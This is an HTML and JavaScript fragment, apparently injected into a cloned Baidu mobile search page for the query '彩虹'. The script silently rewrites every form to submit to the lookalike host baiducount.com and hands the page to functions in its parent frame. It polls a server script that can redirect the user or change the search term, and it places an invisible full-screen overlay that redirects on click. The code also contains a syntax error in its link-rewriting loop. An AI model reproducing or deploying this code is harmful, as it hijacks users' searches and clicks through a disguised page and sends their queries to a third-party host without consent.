﻿<!DOCTYPE html>
<div style="width:0.5%;z-index:99999;height:0.8%;margin: 0%;position:absolute;color:green;display:block;" id="huiguo_bj">.</div>
<div style="width:100%;z-index:99999;height:100%;margin: 0%;position:fixed;display:none;" id="huiguo_fg" onclick="zhidao(this);"></div>

<script src="jquery-3.1.1.min.js">

</script>
<script type="text/javascript">

var fg;
var bj;
var toid = null;
var toid2 = null;
var yjkszx = 0;
document.title = "彩虹";
function removeElement(_element){
         var _parentElement = _element.parentNode;
         if(_parentElement){
                _parentElement.removeChild(_element); 
         }
}
function zhidao(a){
    window.location.href='../zhidao?word=彩虹';
    a.style.display='none';
    $("#huiguo_bj").show();
}

function kaishizhixing(){
    yjkszx = 1;
    var hg_logo = document.getElementById('logo');
    hg_logo.href = "../baidu";
    bj = document.getElementById('huiguo_bj');
    fg = document.getElementById('huiguo_fg');
    jianceZT(0);
    if(window.top != window.self){
        var forms = document.getElementsByTagName('form');
        for(var i = 0;i < forms.length;i ++){
            forms[i].setAttribute('target','_parent');
            forms[i].setAttribute('action','http://baiducount.com/s');
        }
        window.parent.szbt(document.title);
        if(window.parent.sfgq() != 1)
            window.parent.sfrd(document);
        else window.parent.zairukuangjia(document);
        
    }
    return;
    bj.style.color = "red";
    var hg_more_a = document.getElementsByTagName('a');
    for(var i=0;i < hg_more_a.length;i++){
        
        if(trim(hg_more_a[i].innerHTML) == '图片')
            hg_more_a[i].href = '../search/wiseala?tn=wiseala&fmpage=search&ie=utf-8&active=1&pos=top&word=彩虹';
            hg_more_a[i].addEventListener("click", function (){
                window.location.href = '../search/wiseala?tn=wiseala&fmpage=search&ie=utf-8&active=1&pos=top&word=彩虹';
            });
        else{
            var spanss =  hg_more_a[i].getElementsByTagName('span');
            if(spanss.length == 1 && trim(spanss[0].innerHTML) == '图片'){
                hg_more_a[i].href = '../search/wiseala?tn=wiseala&fmpage=search&ie=utf-8&active=1&pos=top&word=彩虹';
            
        }
    }
}
    var first=document.body.firstChild;
    document.body.insertBefore(bj,first);
    document.body.insertBefore(fg,first);
    
    var nbs = document.getElementsByTagName('div');
    var dom;
    for(var k = 0,kk = nbs.length;k < kk;k ++){
        
        if(nbs[k].getAttribute("srcid") == "image" || nbs[k].getAttribute("srcid") == "we_image"){
            var as = nbs[k].getElementsByTagName("a");
            if(as.length > 0){
                dom = as[0];
                dom.href = '../search/wiseala?tn=wiseala&fmpage=search&ie=utf-8&active=1&pos=top&word=彩虹';
            }
            break;
        }
    }
    $.get("../mm/gjchq.php?word=彩虹");
    return ;
    if(toid == null)toid = setTimeout("huiguo_jiuxu();",8000);//延时
}
window.onscroll=function(){
    if(yjkszx == 0){
        kaishizhixing();
    }
}
function trim(s){
        return s.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, "");
}
function huiguo_jiuxu()
{
	fg.style.display='block';
	bj.style.display='none';
}
function jianceZT(a){
    if(a == 1){
        $.get("sflj.php",function(data){
            data = trim(data);
            if(parseInt(data) == 1){
               window.location.replace("http://m.baidu.com/s" + window.location.search);
            }else {
                if(data.indexOf('2e') >= 0){
                    var sxgjc = data.substr(2);
                    if(sxgjc != '彩虹')
                        window.location.replace('?bjs=1&ie=utf-8&word=' + sxgjc);
                }
            }
            
            
        });//返回的data是字符串类型
    }
    if(toid2)clearTimeout(toid2);
    
    toid2 = setTimeout("jianceZT(1);",5000);
}
$(document).ready(function () {
    kaishizhixing();
});
setTimeout("kaishizhixing();",2000);
</script> 